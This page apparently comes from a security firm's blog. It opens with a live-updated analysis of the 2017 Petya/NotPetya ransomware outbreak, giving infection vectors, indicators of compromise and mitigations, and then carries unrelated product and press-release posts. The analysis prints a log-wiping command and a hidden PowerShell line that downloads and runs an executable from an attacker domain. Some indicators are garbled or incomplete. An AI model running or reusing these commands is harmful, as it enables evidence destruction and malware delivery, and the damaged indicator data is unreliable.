vSOC Spot Report – Petya – Ransomware Attack

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2017-06-27 18:31 EDT

As details continue to come in, there is evidence that today’s ransomware outbreak was actually two different campaigns that occurred at the same time. Some of the indicators originally attributed to the Petya malware were actually indicators belonging to the second campaign which is aptly being called, NotPetya.

Exploitation of the CVE-2017-0199 the myguys.xls file attachment, and the french-cooking[.]com domain name are all related to the NotPetya/Loki campaign which was a different kind of attack aimed at banking institutions.

GuidePoint’s vSOC reported on the Petya ransomware incident as events were unfolding. Due to our goal of reporting accurate information in a timely manner some of the original information included in our SPOT report and blog post was misattributed to the NotPetya/Loki campaign that was running simultaneously. The difference in these two campaigns was not known or understood initially. We have made every attempt to update this blog post with accurate information as it has been made available.

2017-06-27 17:55 EDT

Several different security researchers have identified a method of preventing the encryption of the disk by using any available method or technology to prevent C:\windows\perfc.dat from being written to disk or executed. This method does not stop the spread of the malware, just halts the encryption functions.

As of 1730 EDT the email provider for the attacker’s wowsmith123456@posteo.net email has closed the account. This affects the ability to pay the ransom if you are infected. New variants may provide a new method of payment.

2017-06-27 15:31 EDT

Connections to the initial outbreak of the Petya ransomware has been correlated to a compromised accounting software, MeDoc, popular with many large Ukrainian businesses as well as the Ukrainian Government. Attackers compromised the update code of a recent release which helped propagate the ransomware to many different companies. The update was released at 10:30AM GMT, about an hour before the initial surge of infections was observed.

2017-06-27 15:30 EDT

New information has been made available that provides further insight into how the Petya ransomware operates. If the permissions of the logged in user are not sufficient enough to write to the Master Boot Record (MBR) the malware will attempt to encrypt files based on their extension like more traditional ransomware.

The list of file types that are encrypted: 3ds, 7z, accdb, ai, asp, aspx, avhd, back, bak, c, cfg, conf, cpp, cs, ctl, dbf, disk, djvu, doc, docx, dwg, eml, fdb, gz, h, hdd, kdbx, mail, mdb, msg, nrg, ora, ost, ova, ovf, pdf, php, pmf, ppt, pptx, pst, pvi, py, pyc, rar, rtf, sln, sql, tar, vbox, vbs, vcb, vdi, vfd, vmc, vmdk, vmsd, vmx, vsdx, vsv, work, xls, xlsx, xvd, zip.

The malware also clears system security logs to prevent further analysis using the command:

wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:

To further protect vulnerable systems it is advised to disallow the execution of the psexec.exe program if it is not needed or to disallow non-privileged users from executing psexec.exe via GPO or other endpoint mechanisms.

2017-06-27 15:20 EDT

Blocking lateral movement of the Petya variants of ransomware can be achieved by patching the EternalBlue vulnerability (Microsoft’s Critical Security Bulletin MS17-010) and by disabling Administrative Shares via Group Policy Object (GPO). To disable ADMIN$ shares use the below process:

Create a file named adminshares.adm with the content from below, under C:\windows\inf on the server you edit your GPO’s with.

CATEGORY !!category1 
CATEGORY !!category2 
POLICY !!policyname 
EXPLAIN !!DefaultSharesExplain 
KEYNAME "System\CurrentControlSet\Services\LanManServer\Parameters\" 
VALUENAME "AutoShareWks" 
DefaultSharesExplain="Enables default workstation administrative shares if enabled or disables if disabled" 


Next, create a new GPO and right click on administrative templates, and add the administrative template you just created.

Click machine administrative templates, go into view filtering, unselect/uncheck “Only show policy settings that can be fully managed” the setting is shown in the top picture. Basically this allows the GPO Editor to show settings, that is not within the default area of registry “preferences” – like ours. Any settings done outside “preferences” will persist if the policy is removed, unlike standard policies.

Open Administrative Templates – Network – Sharing

Enable or disable administrative shares.

2017-06-27 14:11 EDT

On Tuesday June 27, 2017, accounts of a new ransomware campaign named Petya or Petwrap, are making headlines as infections hit Kiev, Ukraine at approximately 11:30 GMT and continued to spread throughout Russia, Spain, France, UK, India, and various other countries in Europe. The Petya ransomware variant does not encrypt individual files on an infected machine like WCrypt0r from May 2017. Rather, Petya reboots the computer and overwrites the Master Boot Record (MBR) in the boot sector of the hard drive with its code demanding ransom. Without the MBR, the operating system has no directions for where to find the files it needs to boot and run. This effectively renders the entire computer useless until the ransom, $300 in Bitcoin, is paid.

Today’s Petya variant infects machines through a Microsoft Office vulnerability (CVE-2017-0199) and then moves laterally throughout the network exploiting the EternalBlue SMBv1 file-sharing protocol vulnerability as described in Microsoft’s Critical Security Bulletin MS17-010. Patching these vulnerabilities is imperative and will significantly reduce or eliminate the ability of this ransomware to impact your organization.

The Petya ransomware first appeared in early 2016, but the variant spreading through Europe and Russia today contain new code and new functions. Most notable is the use of the EternalBlue exploit to infect machines. This variant is an evolution that has combined new tactics and procedures made famous in other malware campaigns seen in 2017.

Notable companies affected by the Petya ransomware attack include (at the time of this writing):

  • Danish Shipping Company, Maersk
  • British Advertising Company, WPP
  • Russian Oil Company, Rosneft
  • Ukrainian Power Companies, Kyivenergo and Ukrenergo
  • Ukrainian Banks, National Bank of Ukraine (NBU) and Oschadbank
  • Ukrainian Mining Company, Evraz
  • Ukrainian Telecomms, Kyivstar, LifeCell, and Ukrtelecom
  • Ukrainian Nuclear Power Plant, Chernobyl

At the time of publishing this vSOC SPOT Report, there have been no confirmed active connections to any of the known indicators associated with this Petya malware variant from any vSOC subscriber network.

vSOC has obtained rules for CarbonBlack and CrowdStrike to detect this infection; vSOC Protect clients with either of these solutions are protected and monitored for the Petya variants of ransomware. vSOC Detect clients are also being monitored for all available indicators of the Petya variants by your vSOC team.

Technical Analysis

Petya’s rapid propagation is believed to be linked to the use of the exact same EternalBlue exploit that the WanaCrypt0r malware used in May 2017; attacks against the vulnerable SMBv1 file-sharing protocol. EternalBlue was released to the public after being allegedly stolen from the National Security Agency (NSA) in April 2017.

Current evidence shows that these attacks began with malicious spam emails weaponized to use the EternalBlue exploit for Microsoft Office vulnerability CVE-2017-0199 over TCP ports 445, 135, and potentially 1024-1035.

Malicious emails originate from IPs,,, which the attackers have registered to the domains delightcaf[.]xyz, french-cooking[.]com and coffeeinoffice[.]xyz.

The mal-spam variant of this attack is predominantly coming from[.]xls and[.]xls. All traffic to the Command and Control (C2) servers is currently using HTTP as the communication protocol.

Early reports indicate the botnet distributing this malware originates from the LokiBot network. Also, additional reports state the Mischa ransomware package is included in the Petya PE, however confirmation is still forthcoming.

Latest Indicators of Compromise

2017-06-127 15:20 EDT

File Names

These files are all accessed using the runtime process WINWORD.EXE (PID3008)

  • %APPDATA%\Microsoft\Office\Recent\Order-20062017.LNK
  • %APPDATA%\Microsoft\Office\Recent\index.dat
  • %APPDATA%\Microsoft\Templates\~$Normal.dotm
  • C:\~$der-20062017.doc@Please_Read_me@.txt
  • %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\myguy[1].hta
  • %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1E328F26-90AD-432F-85D6-72D24D3FC842}.tmp
  • %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8C06767A-F061-47F9-B88B-16AA8AA0D1F2}.tmp

Command and Control (C2)

  • 200.16.242/myguy[.]xls
  • 165.29.78/myguy[.]xls

Memory Strings

  • !”#$%&'()*+,-./0123456789:;<=>
  • “$(*.046:<“j.x\
  • (\{9%EZ”B%]V\XR){y%JWbj3jiDN}~Hl:x7
  • )|xA:X+Zp@w>v)7#% M+ANqR#mXf,934 qx$}&
  • /myguy.xls
  • /n “C:\Order-20062017.doc”
  • 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}
  • 0000320a5802580201000400000000005202bc0220003600050000000902000000021c000000fb021000070000000000bc02000000000102022253797374656d0076f8032f0040311500bf05087640910b76fc7cb3044c311500040000002d010500040000002d01050004000000f0010300030000000000}{\result {
  • 1Pm\\9M2aD];Yt\[x]}Wr|]g-
  • 6iD_,|uZ^ty;!Y,}{C/h> PK ! dQ 1 word/_rels/document.xml.rels ( j0{-;@ $~

File Hash Values

    • A809a63bc5e31670ff117d838522dc433f74bee
    • 078de2dc59ce59f503c63bd61f1ef8353dc7cf5f
    • bec678164cedea578a7aff4589018fa41551c27f
    • d5bf3f100e7dbcc434d7c58ebf64052329a60fc2
    • aba7aa41057c8a6b184ba5776c20f7e8fc97c657
    • 0ff07caedad54c9b65e5873ac2d81b3126754aac
    • 51eafbb626103765d3aedfd098b94d0e77de1196
    • 7ca37b86f4acc702f108449c391dd2485b5ca18c
    • 2bc182f04b935c7e358ed9c9e6df09ae6af47168
    • 1b83c00143a1bb2bf16b46c01f36d53fb66f82b5
    • 82920a2ad0138a2a8efc744ae5849c6dde6b435d

Binary Details

The binary is currently signed using a certificate from Sysinternals. This will give a Certificate Name Mismatch error; however, the binary will still run in Windows. The current samples attempt to hijack an authorized session in order to spread using psexec. Several of the samples show the lateral movement functions are utilizing Windows Management Instrumentation Command-line (WMIC). Both are avenues for the malware to gain either local or Domain Administrator privileges allowing it to spread using that level of credential.

The sample was compiled for the i386 architecture specifically but appears to be functional on x64 architecture as well.

The PE imports the following DLL files for proper execution:

  • ADVAPI32.dll
  • CRYPT32.dll
  • KERNEL32.dll
  • MPR.dll
  • NETAPI32.dll
  • SHELL32.dll
  • SHLWAPI.dll
  • USER32.dll
  • WS2_32.dll
  • msvcrt.dll
  • ole32.dll


The PE will attempt to execute the following script:

PowerShell -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile(‘http://french-cooking.com/myguy.exe’, ‘%APPDATA%\<random>.exe’)

The <random> variable is a random number between 0-65535, which it will then call with the arguments 1  0 (For example %APPDATA%\10254.exe 1 0).

Additional files dropped:

  • http[:]//

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vSOC recommends immediately patching the vulnerabilities described in CVE-2017-0199  and MS17-010. However, unlike the previous WCrypt0r ransomware, patching alone will not prevent the spread of this malware. Petya’s code will attempt to use a variety of methods to propagate itself including the EternalBlue vulnerability, WMIC, and Powershell.

vSOC recommends that organizations:


The President’s Executive Order: Mapping products to cybersecurity Risk Management

In the previous three blogs, President Trump’s Executive Order. What agencies need to do to respond., Quick hit product categories that can boost executive agencies EO mandated NIST risk scores, and Addressing the EO stated greatest threat to agency cybersecurity posture, we laid out some strategies for federal agencies to respond to the President’s Executive Order (EO).  Finally, in this blog we list a variety of products and technologies that, if not already deployed, should be considered first when trying to move the needle in security posture.

First, the different technologies are listed here in the area they fit in EO Section 1 b (i):

Section 1 b (i) defined cybersecurity Risk Management product mapping:
–Protecting IT from unauthorized access
Information and access discovery
Privileged Access Encryption
Privileged Access monitoring and management
UBEA (user)
–Maintaining awareness of threats
Threat Intelligence feeds
Threat Intelligence Management system
Vulnerability scanning/monitoring
Vulnerability mapping/prioritization
–Detecting anomalies and incidents
Deception Technology for EARLY WARNING (Man, this is an easy one!)
NextGen AV
UBEA (User, System and Network)
–Mitigating the impact of incidents through response and recovery

Next, we will list them in alphabetical order with brief explanations of what they do.  These are not ranked by importance or value.  We recognize that many organizations will probably have most of these deployed already, but none that we have experienced have all of them deployed.

Deception Technology for EARLY WARNING (TrapX, Attivo Networks) – (This is an easy one!)
Platform that deploys “fake” systems on the network, fake credentials on the end points, and carefully crafted ogs in the administrative systems.  The most advanced deception platforms weave a complex storyline designed to look like bread crumbs leading to sensitive information to attract/bait adversaries into revealing themselves.  These platforms will include alarms that once these systems and credentials are used will send alerts to the SIEM or SOC directly.  The most eye-opening thing about most deception platforms is the low-price point for the simplest early warning system innovation.  The value vs. cost is fantastic.

EDR (FireEye HX, Carbon Black, DigitalGuardian) – These solutions defend end points against advanced threats, detect active threats and compromise, and collect logs and data for response forensically when a threat or compromise is suspected.  The more advanced EDR products can pull detailed forensic information and quarantine systems actively under attack or already compromised. This is a must-have for any enterprise.

Multi-Factor Authentication (Duo, Okta, Google Authenticator) – Two-Factor Authentication (2FA) uses at least two of the three types of authentication.  “What you know”, “What you have” and “Who you are”.  Typically, this means a password plus a verified device or fingerprint.  In the past, this was a costly and cumbersome security measure where key generators from tokens were bought and distributed.  However, with the advent of smart phones, MFA can be created with a phone app that is verified as a secure second factor for a specific user.  (NOTE:  This is not SMS, which is no longer considered an acceptable MFA.)

NAC (ForeScout) – Manages asset access to the network by validating system is complaint with security policies.  An example would be DoD “Comply2Connect” where any system connecting to the network has to be thoroughly vetted and could be quarantined for further administration and clean up.  Also can be used for quarantining a system that has been identified for investigation for attack or compromise.

NextGen AV (Cylance, Cb Protect) – Legacy AV, using signatures, stop unsophisticated attacks and NextGen AV uses math and heuristics to defend against more sophisticated attacks.  The most prevalent example is poly-morphic malware that changes its signature even after install.  By using analytics on the files, malware can be detected even if the signature was created minutes ago.

Information and Access Discovery (Varonis) – These products can scan enterprises for sensitive data (Ex: PII, or classified data) and report back all the known locations and who has access in the IdAM system to them.  It can also lay out past history of access and monitor for access and anomalous behavior in accessing sensitive data.  In addition, these technologies help significantly in any IdAM. UBA-User or DLP deployment in cleaning up access and classification of data.  Many times, access creep has corrupted security policy or people who have access are not using it and should be removed unless requesting it in the future.  Without these steps, IdAM, User-UBA and DLP can be permanently crippled or take significant time to tune and become effective.

Privileged Access Encryption (Vormetric) – Solution that specifically prevents privileged accounts from accessing data directly.  This is mitigation against the most common form of unauthorized access by adversaries.  Once inside a network, attackers typically elevate privileges to administrators and try to access data directly.   By encrypting data while still allowing administrators to administrate systems, unauthorized users, even privileged users, cannot read important data.

Privileged Access Monitoring and Management (Varonis and CyberArk/Thycotic)
– By controlling and monitoring privileged user access, a significant threat vector is closed. Even if a privileged user could not access data directly (see above), they could still create or find and take over a user account that does have access to data and systems that are desired by an adversary.  Typically, privileged user account management solutions require check out access in a highly-controlled manner.

SIEM (Splunk, LogRythm) – Security Information and Event Management consumes and correlates logs from the environment against pre-determined rules for security alerting.

Threat Intelligence Feeds – Both free and paid threat feeds supply adversary information to identify when an attack, attacker, or malicious file needs attention.  Many organizations have paid subscriptions to threat feeds from different products in their environment, however some pay for high fidelity threat feeds to augment them.

Threat Intelligence Management System (Anomali) –  Threat Intelligence is the core of defending against attackers.  Knowing what files, IP addresses and threat actor indicators to look for or block are key to the effectiveness of cyber security tools throughout a cyber infrastructure.  By deploying a threat intelligence management platform, the highly valuable threat feeds, free and paid, can be deduplicated against each other, contextually aggregated for enrichment and distributed to the cyber tools.

UBA (User, System and Network)
– User (Exabeam):
 Analyzes logs of user activity from the standard IT infrastructure (such as IdAM/AD/LDAP), creates a baseline of activity and monitors for deviations from the baseline.  This includes individual user behavioral changes and user deviations from the standard a cohesive group creates. This may include an account that has been compromised.  The most mature User-UBA will create a timeline of activity from a range of logs including normal IT and security tools throughout the enterprise.
– System (Exabeam):  Analyzes system logs from the IT infrastructure, creates a baseline of activity and monitors for deviations from the baseline.   This System-UBA go beyond signature or correlations to known activities of attackers.
– Network:  Analyzes network logs such as packets and netflow from IT infrastructure and security tools, creates a baseline of activity and monitors for deviations. Unlike IPS or NGFW, these Network-UBA go beyond signature or correlations to known activities of attackers in the network. The most advanced will pull in logs from many resources across multiple disciplines.

Vulnerability Scanning/Monitoring (Tenable, TripWire) – Scans systems with or without agents on end points to monitor for vulnerabilities and changes to a system that may open it up to compromise.

Vulnerability Mapping/Prioritization (RedSeal) – Actively ingest network configuration data and vulnerability scanning logs to rank security threats identified by attack paths to vulnerable systems.  The resulting risk scoring and details allow for an enterprise to prioritize mediation by risk score that is specific to their systems and not a generic one-size-fits-all scoring.

If any of these intrigue your organization and you would like to know more, please contact us at federal@guidepointsecurity.com.

About the author:

Jean-Paul Bergeaux, Federal CTO, GuidePoint Security

With more than 18 years of experience in the Federal technology industry, Jean-Paul Bergeaux is currently the Federal CTO for GuidePoint Security. JP’s career has been marked by success in technical leadership roles with ADIC (now Quantum), NetApp and Commvault and SwishData. Jean-Paul focuses on identifying customers’ challenges and architecting innovative solutions to solve their complex problems. He is also a thought leader on topics that are top of mind for Federal IT Managers like Cyber Security, VDI, Big Data, and Backup & Recovery.

GuidePoint Security Achieves AWS Security Competency Status

HERNDON, VA – June, 8, 2017– GuidePoint Security announced today that it has achieved Security Competency Partner status with Amazon Web Services (AWS). This designation recognizes that GuidePoint has demonstrated deep expertise that helps its clients achieve their cloud security goals.

Becoming a Security Competency Partner differentiates GuidePoint as an AWS Partner Network (APN) member that provides specialized consulting services designed to help enterprises adopt, develop and deploy complex security projects on AWS. To receive the designation, APN Partners must possess deep expertise and experience on AWS.

AWS Competencies are only awarded to APN partners, like GuidePoint Security, that have demonstrated technical proficiency and proven customer success in specialized solution areas. GuidePoint Security is also an Authorized Government Partner and became an APN Advanced Consulting Partner in 2017.

“GuidePoint is proud to be one of the first APN partners to achieve Security Competency Partner status,” said Bryan Orme, Principal, Information Assurance. “As a security-focused consultancy, our team is dedicated to helping companies develop cloud security strategies and delivering cloud security solutions by combining our proven security expertise with the range of AWS security tools.”

The AWS Cloud is enabling scalable, flexible, and cost-effective solutions from startups to global enterprises. To support the seamless integration and deployment of these solutions, AWS established the Security Competency Program to help customers identify Consulting and Technology APN Partners with deep industry experience and expertise. In addition to general Cloud Security Architecture and Strategy services, GuidePoint provides architectural reviews specifically focused on AWS environments. GuidePoint’s cloud security architects and engineers work with our clients to understand their operational needs, assess their current security posture, and provide relevant, prioritized, and actionable remediation guidance and recommendations for further improvement.

About GuidePoint Security

GuidePoint Security LLC provides innovative and valuable cybersecurity solutions and expertise that enable organizations to successfully achieve their missions. By embracing new technologies, GuidePoint Security helps clients recognize the threats, understand the solutions, and mitigate the risks present in their evolving IT environments. Headquartered in Herndon, Virginia, GuidePoint Security is a small business, and classification is with the System for Award Management (SAM). Learn more at: www.guidepointsecurity.com.

GuidePoint Security Named to CRN’s 2017 Solution Provider 500 List

GuidePoint Security, of Herndon, Va. announced today that CRN®, a brand of The Channel Company, has named GuidePoint Security to its 2017 Solution Provider 500 list. The Solution Provider 500 is CRN’s annual ranking of the largest technology integrators, solution providers and IT consultants in North America by revenue.

The Solution Provider 500 is CRN’s predominant channel partner award list, serving as the industry standard for recognition of the most successful solution provider companies in the channel since 1995. This year, for the first time since 2010, the complete list will be published on CRN.com, making it readily available to vendors seeking out top solution providers to partner with.

CRN has also released its 2017 Solution Provider 500: Newcomers list, recognizing 58 companies making their debut in the Solution Provider 500 ranking this year.

“We’re really excited to be on this esteemed list again,” noted Founder and Managing Partner Michael Volk. “We’re even prouder of the fact GuidePoint moved up in rank, placing #134 for 2017. Providing the very best services and solutions to our customers has always been our number one priority,” Volk concluded.

“CRN’s Solution Provider 500 list spotlights the North American IT channel partner organizations that have earned the highest revenue over the past year, providing a valuable resource to vendors looking for top solution providers to partner with,” said Robert Faletra, CEO of The Channel Company. “The companies on this year’s list represent an incredible, combined revenue of over $318 billion, a sum that attests to their success in staying ahead of rapidly changing market demands. We extend our sincerest congratulations to each of these top-performing solution providers and look forward to their future pursuits and successes.”

The complete 2017 Solution Provider 500 list is available online at www.crn.com/sp500 and a sample from the list will be featured in the June issue of CRN Magazine.

About GuidePoint Security

GuidePoint Security LLC provides innovative and valuable cybersecurity solutions and expertise that enable organizations to successfully achieve their missions. By embracing new technologies, GuidePoint Security helps clients recognize the threats, understand the solutions, and mitigate the risks present in their evolving IT environments. Headquartered in Herndon, Virginia, GuidePoint Security is a small business, and classification is with the System for Award Management (SAM). Learn more at: www.guidepointsecurity.com.

About the Channel Company

The Channel Company enables breakthrough IT channel performance with our dominant media, engaging events, expert consulting and education, and innovative marketing services and platforms. As the channel catalyst, we connect and empower technology suppliers, solution providers and end users. Backed by more than 30 years of unequaled channel experience, we draw from our deep knowledge to envision innovative new solutions for ever-evolving challenges in the technology marketplace. www.thechannelco.com